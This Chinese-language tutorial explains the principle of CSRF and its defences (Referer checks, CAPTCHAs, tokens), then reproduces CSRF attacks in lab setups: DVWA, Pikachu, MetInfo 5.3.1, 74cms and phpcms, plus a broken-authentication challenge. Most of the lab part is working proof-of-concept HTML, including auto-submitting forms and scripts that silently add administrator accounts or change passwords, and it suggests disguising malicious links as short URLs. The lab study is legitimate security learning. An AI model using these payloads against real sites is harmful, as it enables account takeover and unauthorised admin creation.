文章目录
CSRF攻击原理及防御和相关漏洞复现
CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF攻击原理及过程:
过程
1.用户打开浏览器,访问受信任银行网站,输入用户名密码请求登陆网站
2.在用户信息通过验证后,银行产生Cookie信息并返回给浏览器,此时用户登陆网站成功,可以正常发送请求到网站。
3.用户未退出银行网站之前,在同一浏览器中,打开一个tab页访问其他网站B
4.这个时候网站B已被黑客注入诱导信息,加入的是一张图片,图片地址指向src=”http://bank.example/withdraw?account=bob&amount=1000000&for=黑客
点击之后转账给黑客这个账户
5.浏览器在接收到这些攻击性代码请求后。根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行
原理:
攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息、盗取你的账号、添加系统管理员、甚至于购买商品、虚拟货币转账等。
CSRF防御
1.验证HTTP referer字段
根据HTTP协议,在HTTP头中有一个字段叫referer,它记录了该HTTP请求的来源地址。
验证referer
也就是说,服务器会验证客户端的请求来源,如果本网站请求的则响应,否则不响应。
但是即使这样,验证 HTTP Referer 字段 这种方式也存在安全隐患
1.对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值
2.用户自己可以设置浏览器使其在发送请求时不再提供 Referer
2.加验证码验证
但这种方式涉及到页面交互,在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
token
过程:
1.用户访问某个表单页面
2.服务端生成一个token,放在用户的session中,或者浏览器的Cookie中
3.在页面表单附带上token参数
4.用户提交请求后,服务端验证表单中的token是否有与用户session或Cookies中的token一致,一致为合法请求,不是则非法请求。
这个Token的值必须是随机的
。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST
,以form或AJAX形式提交,避免Token泄露。
DVWA靶机
Low
没有任何验证,所以直接将连接使用短连接生成器生成短链。
http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
源码:
Medium
源码:
查看源码,发现使用referer与主机名进行判断,所以,使用之前的短链,会出现That request didn't look correct.
所以使用burpsuite进行抓包,添加referer
密码修改成功
另一种解法
创建一个表单,诱导用户点击
表单源码
<!-- //http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="http://10.4.192.139/DVWA/vulnerabilities/csrf/" method="GET">
<input type="password" AUTOCOMPLETE="off" name="password_new" value="azb123"><br />
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="azb123"><br />
<input type="submit" value="Change" name="Change">
</form>
</body>
</html>
效果图
点击之后显示修改
High
源码:
token是使用get请求发送的,所以使用burpsuite的插件
设置CSRF token插件
然后代理抓包,抓到后放入repeater
发现每次都可以修改
pikachu平台CSRF
CSRF(get)
太简单不说了,请求页面http://10.4.192.139/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
就OK了,然后可以伪装成短链
CSRF(post)
因为是post请求,所以使用构造表单的方式。
构造表单源码
<html>
<head>
<meta charset="utf-8">
<title></title>
<script>
window.onload = function(){
document.getElementById('postsubmit').click();
}
</script>
</head>
<body>
<form action="http://10.4.192.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php " method="post">
<p class="per_name">姓名:vince</p>
<p class="per_sex">性别:<input type="text" name="sex" value="hhhh"></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="13333334444"></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="chain"></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="[email protected]"></p>
<input class="sub" type="submit" name="submit" id="postsubmit" value="submit">
</form>
</body>
</html>
CSRF(token)
上才艺
get请求加上了token,好了,这个和前面DVWA的High难度是一样的使用burpsuite的CSRF token Tracker
MetInfo5.3.1CSRF漏洞
进入后台页面
查看框架源代码
尝试添加管理员使用burpsuite进行抓包
Burpsuite抓到请求包
将其发送到repeater,使用CSRF poc
copy html代码,将其放在同源目录下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.43.61/MetInfo/admin/admin/save.php?action=add&lang=cn&anyid=47" method="POST">
<input type="hidden" name="useid" value="csrf_poc" />
<input type="hidden" name="pass1" value="azb123" />
<input type="hidden" name="pass2" value="azb123" />
<input type="hidden" name="name" value="csrf" />
<input type="hidden" name="sex" value="0" />
<input type="hidden" name="tel" value="1234568" />
<input type="hidden" name="mobile" value="13912345678" />
<input type="hidden" name="email" value="123456@qq.com" />
<input type="hidden" name="qq" value="" />
<input type="hidden" name="msn" value="" />
<input type="hidden" name="taobao" value="" />
<input type="hidden" name="admin_introduction" value="" />
<input type="hidden" name="admin_group" value="3" />
<input type="hidden" name="admin_pop1801" value="1801" />
<input type="hidden" name="admin_op0" value="metinfo" />
<input type="hidden" name="admin_op1" value="add" />
<input type="hidden" name="admin_op2" value="editor" />
<input type="hidden" name="admin_op3" value="del" />
<input type="hidden" name="admin_pop" value="yes" />
<input type="hidden" name="admin_pops1301" value="s1301" />
<input type="hidden" name="admin_popc1" value="c1" />
<input type="hidden" name="admin_popc2" value="c2" />
<input type="hidden" name="admin_popc3" value="c3" />
<input type="hidden" name="admin_popc25" value="c25" />
<input type="hidden" name="admin_popc31" value="c31" />
<input type="hidden" name="admin_popc32" value="c32" />
<input type="hidden" name="admin_popc33" value="c33" />
<input type="hidden" name="admin_popc36" value="c36" />
<input type="hidden" name="admin_pop9999" value="9999" />
<input type="hidden" name="admin_pops1401" value="s1401" />
<input type="hidden" name="admin_pops1106" value="s1106" />
<input type="hidden" name="admin_pops1404" value="s1404" />
<input type="hidden" name="admin_pops1406" value="s1406" />
<input type="hidden" name="admin_pops1101" value="s1101" />
<input type="hidden" name="admin_pops1102" value="s1102" />
<input type="hidden" name="admin_pops1505" value="s1505" />
<input type="hidden" name="admin_pops1507" value="s1507" />
<input type="hidden" name="admin_pops1503" value="s1503" />
<input type="hidden" name="admin_pops1504" value="s1504" />
<input type="hidden" name="admin_pops1006" value="s1006" />
<input type="hidden" name="admin_pops1501" value="s1501" />
<input type="hidden" name="admin_pops1601" value="s1601" />
<input type="hidden" name="admin_pops1603" value="s1603" />
<input type="hidden" name="admin_pops1004" value="s1004" />
<input type="hidden" name="admin_pops1005" value="s1005" />
<input type="hidden" name="admin_pops1007" value="s1007" />
<input type="hidden" name="admin_pops1103" value="s1103" />
<input type="hidden" name="admin_pops1201" value="s1201" />
<input type="hidden" name="admin_pops1002" value="s1002" />
<input type="hidden" name="admin_pops1003" value="s1003" />
<input type="hidden" name="admin_pops1104" value="s1104" />
<input type="hidden" name="Submit" value="保存" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
访问自己写好的html文件
显示创建成功
CSRFTester-1.0抓取请求包
生成HTML文件
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "95","79","70" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do {
curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 3;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://192.168.43.61:80/MetInfo/admin/admin/save.php?action=add&lang=cn&anyid=47">
<input type="hidden" name="useid" value="csrf_poc"/>
<input type="hidden" name="pass1" value="azb123"/>
<input type="hidden" name="pass2" value="azb123"/>
<input type="hidden" name="name" value="csrf"/>
<input type="hidden" name="sex" value="0"/>
<input type="hidden" name="tel" value="1234568"/>
<input type="hidden" name="mobile" value="13912345678"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="qq" value=""/>
<input type="hidden" name="msn" value=""/>
<input type="hidden" name="taobao" value=""/>
<input type="hidden" name="admin_introduction" value=""/>
<input type="hidden" name="admin_group" value="3"/>
<input type="hidden" name="admin_pop1801" value="1801"/>
<input type="hidden" name="admin_op0" value="metinfo"/>
<input type="hidden" name="admin_op1" value="add"/>
<input type="hidden" name="admin_op2" value="editor"/>
<input type="hidden" name="admin_op3" value="del"/>
<input type="hidden" name="admin_pop" value="yes"/>
<input type="hidden" name="admin_pops1301" value="s1301"/>
<input type="hidden" name="admin_popc1" value="c1"/>
<input type="hidden" name="admin_popc2" value="c2"/>
<input type="hidden" name="admin_popc3" value="c3"/>
<input type="hidden" name="admin_popc25" value="c25"/>
<input type="hidden" name="admin_popc31" value="c31"/>
<input type="hidden" name="admin_popc32" value="c32"/>
<input type="hidden" name="admin_popc33" value="c33"/>
<input type="hidden" name="admin_popc36" value="c36"/>
<input type="hidden" name="admin_pop9999" value="9999"/>
<input type="hidden" name="admin_pops1401" value="s1401"/>
<input type="hidden" name="admin_pops1106" value="s1106"/>
<input type="hidden" name="admin_pops1404" value="s1404"/>
<input type="hidden" name="admin_pops1406" value="s1406"/>
<input type="hidden" name="admin_pops1101" value="s1101"/>
<input type="hidden" name="admin_pops1102" value="s1102"/>
<input type="hidden" name="admin_pops1505" value="s1505"/>
<input type="hidden" name="admin_pops1507" value="s1507"/>
<input type="hidden" name="admin_pops1503" value="s1503"/>
<input type="hidden" name="admin_pops1504" value="s1504"/>
<input type="hidden" name="admin_pops1006" value="s1006"/>
<input type="hidden" name="admin_pops1501" value="s1501"/>
<input type="hidden" name="admin_pops1601" value="s1601"/>
<input type="hidden" name="admin_pops1603" value="s1603"/>
<input type="hidden" name="admin_pops1004" value="s1004"/>
<input type="hidden" name="admin_pops1005" value="s1005"/>
<input type="hidden" name="admin_pops1007" value="s1007"/>
<input type="hidden" name="admin_pops1103" value="s1103"/>
<input type="hidden" name="admin_pops1201" value="s1201"/>
<input type="hidden" name="admin_pops1002" value="s1002"/>
<input type="hidden" name="admin_pops1003" value="s1003"/>
<input type="hidden" name="admin_pops1104" value="s1104"/>
<input type="hidden" name="Submit" value="±£´æ"/>
</form>
<form method="GET" name="form1" action="http://192.168.43.61:80/MetInfo/admin/include/turnover.php?geturl=../admin/index.php?lang=cn&anyid=47&adminmodify=&text=&gent=&hml=&prent=">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form2" action="http://192.168.43.61:80/MetInfo/admin/admin/index.php?lang=cn&anyid=47&turnovertext=²Ù×÷³É¹¦">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>
操作成功
ok,到这里就是两种方式的CSRF,原理都是一样的。
骑士cms
管理页面
查看框架源代码
CSRF Testing抓包,然后直接获取表单页面
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "178","49","98","96" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do {
curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 4;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://192.168.43.61:80/74cms/upload/index.php?m=admin&c=admin&a=add">
<input type="hidden" name="username" value="test"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="password" value="azb123"/>
<input type="hidden" name="repassword" value="azb123"/>
<input type="hidden" name="role_id" value="1"/>
<input type="hidden" name="submit3" value="Ìí¼Ó"/>
</form>
</body>
</html>
管理员添加成功
Burpsuite抓包,然后直接获取表单页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.43.61/74cms/upload/index.php?m=admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="123456@qq.com" />
<input type="hidden" name="password" value="azb123" />
<input type="hidden" name="repassword" value="azb123" />
<input type="hidden" name="role_id" value="1" />
<input type="hidden" name="submit3" value="添加" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
最后测试成功。
phpcms CSRF漏洞演示
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>phpcms csrf 加管理</title>
<script type="text/javascript">
gum = function(){
var u = {
'version':'1140213',
'domain':'{
{domain}}',
'backinfo':{
},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){
try{
return eval(code)}catch(e){
return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
var timestamp = (Date.parse(new Date())) / 1000;
gum.post('http://192.168.43.62/phpcms/install_package/index.php?m=admin&c=admin_manage&a=add', {
'info[username]': 'test_' + timestamp,
'info[password]': '123123',
'info[pwdconfirm]': '123123',
'info[email]': '[email protected]',
'info[realname]': '',
'info[roleid]': '1',
'dosubmit': '提交',
'pc_hash': '<?php echo $_GET['pc_hash']; ?>'
});
</script>
</head>
<body>
</body>
</html>
添加链接
管理员点击友情链接后
测试成功
身份认证失效漏洞实战(墨者学院)
进入测试环境
使用test/test账号密码进入
发现会员号和图片的id是一致的,并且找到返回的数据
使用MD5进行解密
与test密码验证一致
找到马春生的ID
利用平行权限漏洞
尝试登陆
找到flag
mozhea4577d951fe0ee52ed08e234bed